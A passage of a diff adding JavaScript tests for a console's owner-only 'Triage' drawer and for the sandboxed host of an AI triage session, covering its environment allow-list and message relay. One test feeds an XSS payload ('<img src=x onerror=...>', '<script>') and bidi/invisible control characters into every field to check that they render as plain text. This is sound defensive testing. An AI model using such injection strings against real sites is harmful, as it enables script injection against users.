bus: { messages: async () => ({ messages: [], unread: 0 }), agents: async () => [], 'thread.claims': async () => [], inbox: async () => [], tasks: async () => [], instances: async () => ({ business: id, revision: 'a'.repeat(64), launch: true, noHire: [], retired: [], definitions: {}, instances: {} }) },
|
||||
chat: { projects: async () => [], threads: async () => [] },
|
||||
};
|
||||
},
|
||||
};
|
||||
return { organizations, agentLevels: { loadRoot: () => root, rolesDir, ctx: { configDir: '/cfg', dataRoot: '/data', instance: 'test' } } };
|
||||
}
|
||||
|
||||
const SNAPSHOT = () => ({
|
||||
snapshotVersion: 1, at: at(1), console: { state: 'answering', at: at(1) }, proxy: 'not read',
|
||||
systemConfig: { valid: true, exit: 0, code: null },
|
||||
organizations: { count: 2, list: [
|
||||
{ id: 'acme', bus: { state: 'running', lastStart: { ok: true, at: at(60) } }, processing: { halted: false, invalid: false }, config: { valid: true, exit: 0, code: null } },
|
||||
{ id: 'gamma', bus: 'not read', processing: 'not read', config: { valid: false, exit: 2, code: 'org-config-invalid' } },
|
||||
] },
|
||||
});
|
||||
|
||||
// The fake host. `h` is the state the next read returns; `h.next` is an error the next message throws.
|
||||
// An error marked `recorded` throws after the owner line and the host's "did not start" line are written,
|
||||
// as the real host does when the session fails to start.
|
||||
function fakeHost(over = {}) {
|
||||
const h = { route: 'set', running: false, lastExit: null, overCapUntil: null, snapshot: SNAPSHOT(), transcript: [], reads: 0, sent: [], next: null, ...over };
|
||||
let n = 0;
|
||||
const triage = {
|
||||
snapshotAt: () => Date.now(),
|
||||
refresh: async () => null,
|
||||
state: async () => { h.reads += 1; return { route: h.route, running: h.running, lastExit: h.lastExit, overCapUntil: h.overCapUntil, snapshot: h.snapshot, transcript: h.transcript }; },
|
||||
message: async text => {
|
||||
h.sent.push(text);
|
||||
const e = h.next; h.next = null;
|
||||
if (e && !e.recorded) throw e;
|
||||
const m = { id: `owner-${String(++n).padStart(12, '0')}`, at: new Date().toISOString() };
|
||||
h.transcript = [...h.transcript, { at: m.at, from: 'owner', id: m.id, text }];
|
||||
if (e) { h.transcript = [...h.transcript, { at: new Date().toISOString(), from: 'host', in_reply_to: m.id, text: NOT_STARTED }]; throw e; }
|
||||
return m;
|
||||
},
|
||||
};
|
||||
return { h, triage };
|
||||
}
|
||||
|
||||
async function setup(t, { host = fakeHost(), triage = host.triage, send = true, sso = createDevOwner(), viewport = [1440, 900], path = '/#/dashboard', init = null } = {}) {
|
||||
const { organizations, agentLevels } = await orgFixture();
|
||||
const server = await startServer({ port: 0, sso, organizations, agentLevels, triage, send: send ? async () => ({}) : null, log: () => {} });
|
||||
t.after(() => close(server));
|
||||
const b = await browser({ machine: false }); t.after(() => b.close());
|
||||
await b.viewport(...viewport);
|
||||
const requests = [];
|
||||
await b.call('Network.enable');
|
||||
b.on('Network.requestWillBeSent', p => { const u = new URL(p.request.url); requests.push(`${p.request.method} ${u.pathname}`); });
|
||||
if (init) await b.call('Page.addScriptToEvaluateOnNewDocument', { source: init });
|
||||
const base = `http://127.0.0.1:${server.address().port}`;
|
||||
await b.navigate(`${base}${path}`);
|
||||
const wait = waitFor(b);
|
||||
const text = sel => b.evaluate(`document.querySelector(${JSON.stringify(sel)})?.innerText ?? null`);
|
||||
const click = sel => b.evaluate(`document.querySelector(${JSON.stringify(sel)}).click()`);
|
||||
const triageReads = () => requests.filter(r => r === 'GET /api/triage').length;
|
||||
return { b, base, wait, text, click, requests, triageReads, h: host.h };
|
||||
}
|
||||
|
||||
// The page focuses its heading when its first render ends (bus.js). Open after that, as a person would, or
|
||||
// that late focus can land after the drawer's own.
|
||||
const open = async f => { await f.wait('document.querySelector("#triage-open")'); await f.wait('document.activeElement?.tagName === "H1"', 100).catch(() => {}); await f.click('#triage-open'); await f.wait('["off", "cap", "running", "stopped"].includes(document.querySelector("#triage-drawer #triage-state")?.dataset.kind)'); };
|
||||
const type = async (f, words) => { await f.b.evaluate('document.querySelector("#triage-text").focus()'); await f.b.call('Input.insertText', { text: words }); };
|
||||
const sendAndWait = async (f, before) => { await f.click('#triage-send'); await f.wait(`document.querySelector("#triage-send-status").textContent.trim() && document.querySelector("#triage-send-status").textContent !== ${JSON.stringify(before)} && !document.querySelector("#triage-send").disabled`); return f.text('#triage-send-status'); };
|
||||
|
||||
test('item 1: a session that is not the instance owner gets no entry, no drawer markup and no Triage request', async t => {
|
||||
// No Triage host wired: the config never says triage.
|
||||
{
|
||||
const f = await setup(t, { triage: null });
|
||||
await f.wait('document.querySelector("#dashboard-kpis")');
|
||||
await sleep(1500);
|
||||
assert.equal(await f.b.evaluate('document.querySelector("#triage-open, #triage-drawer, [id^=triage]")'), null);
|
||||
assert.deepEqual(f.requests.filter(r => /triage/i.test(r)), []);
|
||||
}
|
||||
// A Triage host, but a signed-in session that is not the root owner.
|
||||
{
|
||||
const owner = createDevOwner(), plain = { ...owner.session(), rootOwner: false };
|
||||
const f = await setup(t, { sso: { ...owner, session: () => plain } });
|
||||
await f.wait('document.querySelector("#dashboard-kpis")');
|
||||
await sleep(1500);
|
||||
assert.equal(await f.b.evaluate('document.querySelector("[id^=triage]")'), null);
|
||||
assert.equal(await f.b.evaluate('document.body.innerHTML.includes("Triage")'), false, 'no Triage words in the page');
|
||||
assert.deepEqual(f.requests.filter(r => /triage/i.test(r)), []);
|
||||
}
|
||||
});
|
||||
|
||||
test('item 1: the owner gets one Triage entry in the top bar on the dashboard and inside an organization; nothing is read until it opens', async t => {
|
||||
const f = await setup(t, { path: '/#/orgs/acme/organization' });
|
||||
await f.wait('document.querySelector(".cmd-right #triage-open")');
|
||||
assert.equal(await f.b.evaluate('document.querySelectorAll("#triage-open").length'), 1);
|
||||
assert.equal(await f.b.evaluate('document.querySelector("#triage-drawer")'), null, 'no drawer markup before it opens');
|
||||
await sleep(800);
|
||||
assert.equal(f.triageReads(), 0, 'no read before it opens');
|
||||
assert.equal(await f.b.evaluate('document.querySelector("#triage-open").getAttribute("aria-expanded")'), 'false');
|
||||
await open(f);
|
||||
assert.equal(await f.b.evaluate('document.querySelector("#triage-open").getAttribute("aria-expanded")'), 'true');
|
||||
// From inside an organization the read is still the system route, never the organization's.
|
||||
assert.ok(f.triageReads() >= 1);
|
||||
assert.deepEqual(f.requests.filter(r => /triage/.test(r) && r !== 'GET /api/triage'), []);
|
||||
assert.ok(f.requests.includes('GET /api/config'), 'the unscoped config read');
|
||||
// The same entry on the system dashboard.
|
||||
await f.b.evaluate('location.hash = "#/dashboard"');
|
||||
await f.wait('location.hash === "#/dashboard" && document.querySelector("#triage-open")');
|
||||
});
|
||||
|
||||
test('item 1: at 390 wide the entry stays visible and one click opens the drawer', async t => {
|
||||
const f = await setup(t, { viewport: [390, 844] });
|
||||
await f.wait('document.querySelector("#triage-open")');
|
||||
const box = await f.b.evaluate('(() => { const r = document.querySelector("#triage-open").getBoundingClientRect(); return { w: r.width, h: r.height, right: r.right, top: r.top }; })()');
|
||||
assert.ok(box.w > 0 && box.h > 0 && box.right <= 390 && box.top >= 0, JSON.stringify(box));
|
||||
await open(f);
|
||||
const d = await f.b.evaluate('(() => { const r = document.querySelector("#triage-drawer").getBoundingClientRect(); return { l: r.left, w: r.width, page: document.documentElement.clientWidth }; })()');
|
||||
assert.ok(d.l <= 1 && d.w >= d.page - 1, `the drawer takes the whole width: ${JSON.stringify(d)}`);
|
||||
assert.equal(await f.b.evaluate('document.documentElement.scrollWidth <= 390'), true, 'no sideways scroll');
|
||||
});
|
||||
|
||||
test('item 2 and 3: route not set says so, and the message box is off with the reason', async t => {
|
||||
const f = await setup(t, { host: fakeHost({ route: 'not set' }) });
|
||||
await open(f);
|
||||
assert.match(await f.text('#triage-state'), new RegExp(NO_ROUTE_MESSAGE.slice(0, 40)));
|
||||
assert.equal(await f.b.evaluate('document.querySelector("#triage-text")?.disabled'), true);
|
||||
assert.equal(await f.b.evaluate('document.querySelector("#triage-send")?.disabled'), true);
|
||||
assert.match(await f.text('#triage-send-off'), /no model route is set/i);
|
||||
});
|
||||
|
||||
test('item 2: over cap shows the cap message and the time it takes messages again', async t => {
|
||||
const until = new Date(Date.now() + 3 * 3600000).toISOString();
|
||||
const f = await setup(t, { host: fakeHost({ overCapUntil: until }) });
|
||||
await open(f);
|
||||
const state = await f.text('#triage-state');
|
||||
assert.ok(state.includes(capMessage(until)), state);
|
||||
const local = await f.b.evaluate(`window.MosaicLocalTime(${JSON.stringify(until)})`);
|
||||
assert.ok(state.includes(`Local time: ${local}.`), state);
|
||||
assert.match(await f.text('#triage-send-off'), /daily token cap/i);
|
||||
});
|
||||
|
||||
test('item 2: running, last exit, and the health snapshot with "not read" shown as that', async t => {
|
||||
const host = fakeHost({ running: true });
|
||||
const f = await setup(t, { host });
|
||||
await open(f);
|
||||
assert.match(await f.text('#triage-state'), /^Running/);
|
||||
const health = await f.text('#triage-health');
|
||||
assert.match(health, /Console: answering/);
|
||||
assert.match(health, /Proxy: not read/);
|
||||
assert.match(health, /System config: valid/);
|
||||
assert.match(health, /acme: bus running, processing on, config valid/);
|
||||
assert.match(health, /gamma: bus not read, processing not read, config not valid \(org-config-invalid\)/);
|
||||
assert.doesNotMatch(health.split('\n').find(l => l.startsWith('gamma')), /healthy|running/);
|
||||
// The next poll picks up a stopped session and its last exit, and a snapshot that read nothing.
|
||||
host.h.running = false; host.h.lastExit = { code: 1, signal: null, at: at(2) };
|
||||
host.h.snapshot = { snapshotVersion: 1, at: at(0), console: { state: 'answering', at: at(0) }, proxy: { initialized: true, installed: true, active: 'active', healthy: true, fence: false }, systemConfig: 'not read', organizations: 'not read' };
|
||||
await f.wait('/Last exit/.test(document.querySelector("#triage-state").textContent)', 300);
|
||||
assert.match(await f.text('#triage-state'), /Not running\. Last exit: code 1/);
|
||||
const after = await f.text('#triage-health');
|
||||
assert.match(after, /Proxy: healthy/);
|
||||
assert.match(after, /System config: not read/);
|
||||
assert.match(after, /Organizations: not read/);
|
||||
// No snapshot at all.
|
||||
host.h.snapshot = null;
|
||||
await f.wait('/Health: not read/.test(document.querySelector("#triage-health").textContent)', 300);
|
||||
});
|
||||
|
||||
test('item 2: the transcript shows owner, Triage and host lines, a reply under its message, and cards as text with no Run button', async t => {
|
||||
const transcript = [
|
||||
{ at: at(5), from: 'owner', id: 'owner-000000000001', text: 'Why is gamma down?' },
|
||||
{ at: at(4), from: 'triage', in_reply_to: 'owner-000000000001', text: 'gamma config is not valid. Restart acme after fixing it.', cards: [{ step: 'org-config-validate', org: 'gamma', command: 'mosaic org config validate gamma' }, { step: 'bus-restart', org: 'acme', command: 'mosaic bus restart acme' }], dropped: 2 },
|
||||
{ at: at(3), from: 'owner', id: 'owner-000000000002', text: 'And beta?' },
|
||||
{ at: at(2), from: 'host', in_reply_to: 'owner-000000000002', text: 'Triage stopped before it answered this message. Send it again.' },
|
||||
];
|
||||
const f = await setup(t, { host: fakeHost({ running: true, transcript }) });
|
||||
await open(f);
|
||||
const items = await f.b.evaluate('[...document.querySelectorAll("#triage-transcript > li")].map(li => ({ from: li.dataset.from, text: li.innerText }))');
|
||||
assert.deepEqual(items.map(i => i.from), ['owner', 'triage', 'owner', 'host']);
|
||||
assert.match(items[0].text, /You/); assert.match(items[0].text, /Why is gamma down\?/);
|
||||
assert.match(items[1].text, /Triage/); assert.match(items[1].text, /Reply to: Why is gamma down\?/);
|
||||
assert.match(items[1].text, /Step: org-config-validate/); assert.match(items[1].text, /Organization: gamma/);
|
||||
assert.match(items[1].text, /mosaic org config validate gamma/); assert.match(items[1].text, /mosaic bus restart acme/);
|
||||
assert.match(items[1].text, /2 cards dropped/);
|
||||
assert.match(items[3].text, /Console/); assert.match(items[3].text, /Reply to: And beta\?/);
|
||||
assert.equal(await f.b.evaluate('document.querySelectorAll("#triage-transcript button, #triage-transcript a, #triage-transcript input").length'), 0, 'no Run button or link in a card');
|
||||
assert.equal(await f.b.evaluate('[...document.querySelectorAll("#triage-drawer button")].some(x => /run/i.test(x.textContent))'), false);
|
||||
});
|
||||
|
||||
test('item 3: each send answer has plain words, a refused send keeps the draft, and an unknown outcome is never resent', async t => {
|
||||
const host = fakeHost({ running: true });
|
||||
const until = new Date(Date.now() + 2 * 3600000).toISOString();
|
||||
// The browser's own request is same-origin, so the 403 comes from a page stub over the native fetch.
|
||||
const init = `(() => { const f = window.fetch.bind(window); window.fetch = (input, init) => (window.__force403 && input === '/api/triage/message') ? Promise.resolve(new Response('{"error":"read-only"}', { status: 403, headers: { 'content-type': 'application/json' } })) : f(input, init); })();`;
|
||||
const f = await setup(t, { host, init });
|
||||
await open(f);
|
||||
assert.equal(await f.b.evaluate('document.activeElement?.id'), 'triage-text', 'the box has focus when the drawer opens');
|
||||
let status = '';
|
||||
const draft = () => f.b.evaluate('document.querySelector("#triage-text").value');
|
||||
const refused = async (setupNext, pattern, label) => {
|
||||
await setupNext();
|
||||
status = await sendAndWait(f, status);
|
||||
assert.match(status, pattern, label);
|
||||
assert.equal(await draft(), 'is acme healthy?', `${label}: the draft stays`);
|
||||
};
|
||||
await type(f, 'is acme healthy?');
|
||||
await refused(() => { host.h.next = new TriageError('triage-no-route', 'x'); }, /Not sent.*no model route is set/i, '409');
|
||||
await refused(() => { const e = new TriageError('triage-over-cap', 'x'); e.until = until; host.h.next = e; }, new RegExp(`Not sent.*daily token cap.*${until.slice(0, 16)}`), '429');
|
||||
await refused(() => { host.h.next = new TriageError('triage-message-too-long', 'x'); }, /Not sent.*too long/i, '400');
|
||||
await refused(() => f.b.evaluate('window.__force403 = true'), /Not sent.*read-only/i, '403');
|
||||
await f.b.evaluate('window.__force403 = false');
|
||||
const before = host.h.sent.length;
|
||||
await refused(() => { host.h.next = new Error('lost'); }, /may or may not have arrived/i, '503');
|
||||
assert.equal(host.h.sent.length, before + 1);
|
||||
await sleep(POLL_MS + 1500);
|
||||
assert.equal(host.h.sent.length, before + 1, 'an unknown outcome is not sent again');
|
||||
status = await sendAndWait(f, status);
|
||||
assert.match(status, /^Sent/);
|
||||
assert.equal(await draft(), '', 'a sent message clears the box');
|
||||
await f.wait('[...document.querySelectorAll("#triage-transcript > li")].some(li => li.dataset.from === "owner" && li.textContent.includes("is acme healthy?"))');
|
||||
// Ctrl+Enter sends too.
|
||||
await type(f, 'second');
|
||||
await f.b.key('Enter', 'Enter', 2);
|
||||
await f.wait('document.querySelector("#triage-text").value === "" && /^Sent/.test(document.querySelector("#triage-send-status").textContent)');
|
||||
assert.equal(host.h.sent.at(-1), 'second');
|
||||
});
|
||||
|
||||
test('item 3: a read-only Console shows no message box and says why', async t => {
|
||||
const f = await setup(t, { send: false });
|
||||
await open(f);
|
||||
assert.equal(await f.b.evaluate('document.querySelector("#triage-text")'), null);
|
||||
assert.match(await f.text('#triage-send-off'), /read-only/i);
|
||||
});
|
||||
|
||||
test('item 3: a send that reached the conversation but did not start Triage says so, not "Not sent", and keeps the draft', async t => {
|
||||
const host = fakeHost();
|
||||
const f = await setup(t, { host });
|
||||
await open(f);
|
||||
let status = '';
|
||||
for (const [code, words] of [['triage-start-failed', /session did not start/i], ['triage-route-invalid', /route's answer is not usable/i]]) {
|
||||
await f.b.evaluate('document.querySelector("#triage-text").value = ""');
|
||||
await type(f, `try ${code}`);
|
||||
const e = new TriageError(code, 'x'); e.recorded = true; host.h.next = e;
|
||||
status = await sendAndWait(f, status);
|
||||
assert.doesNotMatch(status, /^Not sent/, code);
|
||||
assert.match(status, /Not delivered/, code);
|
||||
assert.match(status, words, code);
|
||||
assert.match(status, /in the conversation/i, code);
|
||||
assert.equal(await f.b.evaluate('document.querySelector("#triage-text").value'), `try ${code}`, `${code}: the draft stays`);
|
||||
await f.wait(`document.querySelector("#triage-transcript").textContent.includes(${JSON.stringify(NOT_STARTED)})`, 300);
|
||||
}
|
||||
// A directory refusal can come before or after the message is written, so the words cover both.
|
||||
host.h.next = new TriageError('triage-dir-unsafe', 'x');
|
||||
status = await sendAndWait(f, status);
|
||||
assert.match(status, /Not delivered.*not safe to use.*check the conversation/i);
|
||||
assert.doesNotMatch(status, /did not start/i, 'this one can come while a session runs');
|
||||
});
|
||||
|
||||
test('item 3: a read that turns sending off hides the box and keeps the draft; one that turns it on again shows it', async t => {
|
||||
const init = `(() => { const f = window.fetch.bind(window); window.fetch = (input, init) => (window.__sendOff && input === '/api/triage') ? f(input, init).then(r => r.json()).then(j => new Response(JSON.stringify({ ...j, send: false }), { status: 200, headers: { 'content-type': 'application/json' } })) : f(input, init); })();`;
|
||||
const f = await setup(t, { host: fakeHost({ running: true }), init });
|
||||
await open(f);
|
||||
await type(f, 'keep me');
|
||||
await f.b.evaluate('window.__sendOff = true');
|
||||
await f.wait('/read-only/i.test(document.querySelector("#triage-send-off")?.textContent || "")', 300);
|
||||
const off = await f.b.evaluate('(() => { const x = document.querySelector("#triage-text"); return x && { value: x.value, hidden: x.hidden, disabled: x.disabled, send: document.querySelector("#triage-send").disabled, shown: x.getClientRects().length > 0 }; })()');
|
||||
assert.deepEqual(off, { value: 'keep me', hidden: true, disabled: true, send: true, shown: false });
|
||||
await f.b.evaluate('window.__sendOff = false');
|
||||
await f.wait('document.querySelector("#triage-text").getClientRects().length > 0', 300);
|
||||
assert.equal(await f.b.evaluate('document.querySelector("#triage-text").value'), 'keep me');
|
||||
assert.equal(await f.b.evaluate('document.querySelector("#triage-text").disabled'), false);
|
||||
assert.equal(await f.text('#triage-send-off'), '');
|
||||
});
|
||||
|
||||
test('item 4: polling runs only while the drawer is open and stops on close', async t => {
|
||||
const f = await setup(t, { host: fakeHost({ running: true }) });
|
||||
await f.wait('document.querySelector("#triage-open")');
|
||||
await sleep(1000);
|
||||
assert.equal(f.triageReads(), 0);
|
||||
await open(f);
|
||||
await sleep(POLL_MS * 2 + 1000);
|
||||
const open2 = f.triageReads();
|
||||
assert.ok(open2 >= 2, `reads while open: ${open2}`);
|
||||
await f.click('#triage-drawer .x');
|
||||
await f.wait('!document.querySelector("#triage-drawer") || document.querySelector("#triage-drawer").hidden');
|
||||
assert.equal(await f.b.evaluate('document.activeElement?.id'), 'triage-open', 'focus goes back to the entry');
|
||||
const closed = f.triageReads();
|
||||
await sleep(POLL_MS * 2 + 1000);
|
||||
assert.equal(f.triageReads(), closed, 'no read after close');
|
||||
// Escape closes it as well, and reopening reads again.
|
||||
await open(f);
|
||||
await f.b.evaluate('document.querySelector("#triage-text").focus()');
|
||||
await f.b.key('Escape');
|
||||
await f.wait('!document.querySelector("#triage-drawer") || document.querySelector("#triage-drawer").hidden');
|
||||
});
|
||||
|
||||
test('item 4: a poll keeps the draft and the cursor, and keeps the scroll position when the reader has scrolled up', async t => {
|
||||
const transcript = Array.from({ length: 40 }, (_, i) => ({ at: at(60 - i), from: i % 2 ? 'triage' : 'owner', ...(i % 2 ? { text: `answer ${i}`, cards: [], dropped: 0 } : { id: `owner-${String(i).padStart(12, '0')}`, text: `question ${i}` }) }));
|
||||
const host = fakeHost({ running: true, transcript });
|
||||
const f = await setup(t, { host, viewport: [1440, 700] });
|
||||
await open(f);
|
||||
const scroller = 'document.querySelector("#triage-transcript")';
|
||||
// Opening lands on the newest line.
|
||||
assert.equal(await f.b.evaluate(`(() => { const s = ${scroller}; return s.scrollHeight - s.scrollTop - s.clientHeight < 4; })()`), true);
|
||||
await type(f, 'half a thought');
|
||||
await f.b.evaluate('document.querySelector("#triage-text").setSelectionRange(4, 4)');
|
||||
await f.b.evaluate(`${scroller}.scrollTop = 120`);
|
||||
host.h.transcript = [...transcript, { at: at(0), from: 'host', text: 'a new line', in_reply_to: null }];
|
||||
await f.wait('document.querySelector("#triage-transcript").textContent.includes("a new line")', 300);
|
||||
assert.equal(await f.b.evaluate(`${scroller}.scrollTop`), 120, 'scrolled up: the position stays');
|
||||
assert.equal(await f.b.evaluate('document.querySelector("#triage-text").value'), 'half a thought');
|
||||
assert.equal(await f.b.evaluate('document.activeElement?.id'), 'triage-text');
|
||||
assert.equal(await f.b.evaluate('document.querySelector("#triage-text").selectionStart'), 4);
|
||||
// At the bottom, a new line scrolls into view.
|
||||
await f.b.evaluate(`(() => { const s = ${scroller}; s.scrollTop = s.scrollHeight; })()`);
|
||||
host.h.transcript = [...host.h.transcript, { at: at(0), from: 'host', text: 'one more line' }];
|
||||
await f.wait('document.querySelector("#triage-transcript").textContent.includes("one more line")', 300);
|
||||
assert.equal(await f.b.evaluate(`(() => { const s = ${scroller}; return s.scrollHeight - s.scrollTop - s.clientHeight < 4; })()`), true);
|
||||
});
|
||||
|
||||
test('item 4: at the 200-line cap the oldest lines drop, and a scrolled-up reader keeps the same lines in view, even with an identical line above', async t => {
|
||||
const line = i => ({ at: new Date(Date.now() - (300 - i) * 60000).toISOString(), from: 'host', text: `line ${i}` });
|
||||
const transcript = Array.from({ length: 200 }, (_, i) => line(i));
|
||||
transcript[4] = transcript[8]; // an identical twin of the line that is first in view
|
||||
const host = fakeHost({ running: true, transcript });
|
||||
const f = await setup(t, { host, viewport: [1440, 700] });
|
||||
await open(f);
|
||||
const firstInView = `(() => { const s = document.querySelector("#triage-transcript"), top = s.getBoundingClientRect().top; const li = [...s.children].find(n => n.getBoundingClientRect().bottom > top + 1); return { text: li.textContent, second: li.nextElementSibling.textContent, off: Math.round(li.getBoundingClientRect().top - top) }; })()`;
|
||||
await f.b.evaluate('document.querySelector("#triage-transcript").scrollTop = 600');
|
||||
const before = await f.b.evaluate(firstInView);
|
||||
assert.match(before.text, /line 8$/, 'the twin line is the one in view');
|
||||
host.h.transcript = [...transcript.slice(3), line(200), line(201), line(202)];
|
||||
await f.wait('document.querySelector("#triage-transcript").textContent.includes("line 202")', 300);
|
||||
const after = await f.b.evaluate(firstInView);
|
||||
assert.equal(after.text, before.text, 'the same line is first in view');
|
||||
assert.equal(after.second, before.second, 'and the same line follows it');
|
||||
assert.ok(Math.abs(after.off - before.off) <= 1, `at the same place: ${before.off} then ${after.off}`);
|
||||
});
|
||||
|
||||
test('item 5: markup and control characters in every field stay text: no element, no link, no script', async t => {
|
||||
const BAD = '<img src=x onerror="window.__pwned=1"><a href="https://example.test/x">link</a><b>bold</b><script>window.__pwned=2</script>';
|
||||
const CTRL = '\u0007\u001b[31m\u202eevil\u200b\u2028\ufeff\u00ad\u2060\u034f\ufe0f\u{E0041}\u{E0100}\u{E0002}\u17b4\ufff0';
|
||||
const v = s => `${BAD}${CTRL}${s}`;
|
||||
const snapshot = {
|
||||
snapshotVersion: 1, at: v('at'), console: { state: v('state'), at: v('cat') },
|
||||
proxy: { initialized: true, installed: true, active: v('active'), healthy: null, fence: false },
|
||||
systemConfig: { valid: false, exit: 2, code: v('code') },
|
||||
organizations: { count: 1, list: [{ id: v('org'), bus: { state: v('bus'), lastStart: { ok: false, at: v('ls') } }, processing: { halted: true, invalid: true }, config: { valid: false, exit: 2, code: v('oc') } }] },
|
||||
};
|
||||
const transcript = [
|
||||
{ at: v('t1'), from: 'owner', id: v('id'), text: v('owner text') },
|
||||
{ at: v('t2'), from: 'triage', in_reply_to: v('id'), text: v('triage text'), cards: [{ step: v('step'), org: v('corg'), command: v('cmd') }], dropped: v('dropped') },
|
||||
{ at: v('t3'), from: 'host', in_reply_to: v('nope'), text: v('host text') },
|
||||
{ at: v('t4'), from: v('from'), text: v('unknown sender') },
|
||||
];
|
||||
const host = fakeHost({ running: true, transcript, snapshot, lastExit: { code: v('code'), signal: v('sig'), at: v('lat') }, overCapUntil: v('until') });
|
||||
const f = await setup(t, { host });
|
||||
await open(f);
|
||||
await f.wait('document.querySelector("#triage-transcript > li")');
|
||||
const out = await f.b.evaluate(`(() => {
|
||||
const d = document.querySelector('#triage-drawer');
|
||||
return {
|
||||
pwned: window.__pwned ?? null,
|
||||
tags: [...d.querySelectorAll('img, a, b, script, iframe, svg image, [onerror], [href]')].map(e => e.outerHTML),
|
||||
text: d.textContent,
|
||||
body: document.body.querySelectorAll('img[src="x"], a[href^="https://example.test"]').length,
|
||||
};
|
||||
})()`);
|
||||
assert.equal(out.pwned, null);
|
||||
assert.deepEqual(out.tags, []);
|
||||
assert.equal(out.body, 0);
|
||||
for (const word of ['owner text', 'triage text', 'host text', 'cmd', 'corg', 'step', 'org', 'oc', 'code', 'active']) assert.ok(out.text.includes(word), `${word} shown as text`);
|
||||
assert.ok(out.text.includes('<img src=x onerror='), 'the markup reads as its own characters');
|
||||
// eslint-disable-next-line no-control-regex
|
||||
assert.doesNotMatch(out.text, /[\u0000-\u0008\u000b-\u001f\u007f-\u009f\u061c\u180e\u2028\u2029\ufeff\u200b-\u200f\u202a-\u202e\u2066-\u2069\u00ad\u2060-\u2064\u034f\ufe00-\ufe0f\u{E0000}-\u{E007F}\u{E0100}-\u{E01EF}\p{Default_Ignorable_Code_Point}]/u, 'no control, direction, invisible or tag characters reach the page');
|
||||
await sleep(500);
|
||||
assert.equal(await f.b.evaluate('window.__pwned ?? null'), null);
|
||||
});
|
||||
@@ -0,0 +1,657 @@
|
||||
// #1873 triage-host: the Triage session's host and its relay. The relay answers only a message to
|
||||
// the person; the session sees its own run directory and the health snapshots and nothing else of
|
||||
// the data root; its environment is a fixed list; nothing launches without a model route or over
|
||||
// the cap. The session runs the stub adapter (tests/fixtures/triage-adapter.mjs); no model is called.
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { connect } from "node:net";
|
||||
import { existsSync, lstatSync, mkdirSync, mkdtempSync, readFileSync, readdirSync, rmSync, symlinkSync, writeFileSync } from "node:fs";
|
||||
import { dirname, join } from "node:path";
|
||||
import { Client } from "../../bus/src/client.mjs";
|
||||
import { REPO, RUNNER_FILES, checkHostedRoute, sandboxProblem } from "../../seat/src/sandbox.mjs";
|
||||
import { isProviderVariable } from "../../seat/src/session.mjs";
|
||||
import {
|
||||
NOT_STARTED, NOT_TAKEN, RELAY_REFUSED, ROUTE_ENV_ALLOW, ROUTE_REFUSED, SPAWN_ENV_ALLOW, UNANSWERED, createRelay, createTriageHost, hostPrompt,
|
||||
refusedHarnessName, triageEnv,
|
||||
} from "../src/triage-host.mjs";
|
||||
|
||||
const FIXTURE = new URL("./fixtures/triage-adapter.mjs", import.meta.url).pathname;
|
||||
const skip = sandboxProblem() ?? false;
|
||||
const scratch = () => mkdtempSync(join(process.env.TMPDIR, "th-"));
|
||||
const CAP = "a".repeat(64);
|
||||
const SNAPSHOT = {
|
||||
snapshotVersion: 1, at: "2026-11-16T12:00:00.000Z", console: { state: "answering", at: "2026-11-16T12:00:00.000Z" },
|
||||
proxy: "not read", systemConfig: { valid: true, exit: 0, code: null },
|
||||
organizations: { count: 1, list: [{ id: "alpha", bus: { state: "stopped", lastStart: null }, processing: "not read", config: { valid: true, exit: 0, code: null } }] },
|
||||
};
|
||||
// What the Console's own environment might hold: none of it but the allowed names may reach the session.
|
||||
const CONSOLE_ENV = {
|
||||
PATH: "/should/not/pass", LANG: "C.UTF-8", TZ: "UTC", HOME: "/home/someone", MOSAIC_CONFIG: "/x/config.json",
|
||||
MOSAIC_BUS_CONSOLE_SOCKET: "/x/bus.sock", MOSAIC_GITEA_CREDENTIAL_FILE: "/x/cred", GITEA_TOKEN: "t", SSH_AUTH_SOCK: "/x/agent",
|
||||
ANTHROPIC_API_KEY: "from-the-console", XDG_CONFIG_HOME: "/x", MOSAIC_DATA_ROOT: "/x",
|
||||
};
|
||||
|
||||
const raw = (socket, line) => new Promise((resolve, reject) => {
|
||||
const c = connect(socket);
|
||||
let input = "";
|
||||
c.on("connect", () => c.write(line + "\n"));
|
||||
c.on("data", (b) => { input += b; });
|
||||
c.on("end", () => resolve(JSON.parse(input)));
|
||||
c.on("error", reject);
|
||||
});
|
||||
|
||||
test("triageEnv keeps the fixed names and the route's proxy variables, and nothing else", () => {
|
||||
const env = triageEnv(CONSOLE_ENV, { ANTHROPIC_BASE_URL: "http://127.0.0.1:1", ANTHROPIC_AUTH_TOKEN: "k", MOSAIC_CONFIG: "/y", OTHER: "z" }, { node: "/opt/node/bin/node" });
|
||||
assert.deepEqual(Object.keys(env).sort(), ["ANTHROPIC_AUTH_TOKEN", "ANTHROPIC_BASE_URL", "LANG", "PATH", "TZ"]);
|
||||
assert.equal(env.PATH, "/opt/node/bin:/usr/bin:/bin");
|
||||
assert.deepEqual(SPAWN_ENV_ALLOW, ["PATH", "LANG", "LC_ALL", "TZ", "TERM"]);
|
||||
assert.deepEqual(ROUTE_ENV_ALLOW, ["ANTHROPIC_BASE_URL", "ANTHROPIC_AUTH_TOKEN"]);
|
||||
assert.equal(triageEnv(CONSOLE_ENV, { ANTHROPIC_API_KEY: "from-the-route" }).ANTHROPIC_API_KEY, undefined, "the session gets no key, only the proxy's token");
|
||||
assert.equal(triageEnv(CONSOLE_ENV).ANTHROPIC_API_KEY, undefined, "a key in the Console's environment is not the route's");
|
||||
});
|
||||
|
||||
test("the relay refuses every verb but a message to the person, and any call without the capability", async (t) => {
|
||||
const dir = scratch();
|
||||
const socket = join(dir, "relay.sock");
|
||||
const sent = [];
|
||||
const queue = [{ id: "owner-0123456789ab", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }];
|
||||
const read = [];
|
||||
const server = await createRelay({ socket, cap: CAP, take: () => queue.splice(0), read: (id) => read.push(id), onSend: (m) => sent.push(m) });
|
||||
t.after(() => server.close());
|
||||
const client = new Client({ path: socket, cap: CAP });
|
||||
assert.deepEqual(await client.call("role.claim"), { library: false });
|
||||
assert.deepEqual(await client.call("processing.status"), { halted: false, invalid: false });
|
||||
assert.deepEqual((await client.call("state")).tasks, { open: [], total: 0, cap: 0 });
|
||||
assert.deepEqual(await client.call("message.receive"), [{ id: "owner-0123456789ab", from_role: "human", class: "REQUEST", body: "hello", at: "2026-11-16T12:00:00.000Z" }]);
|
||||
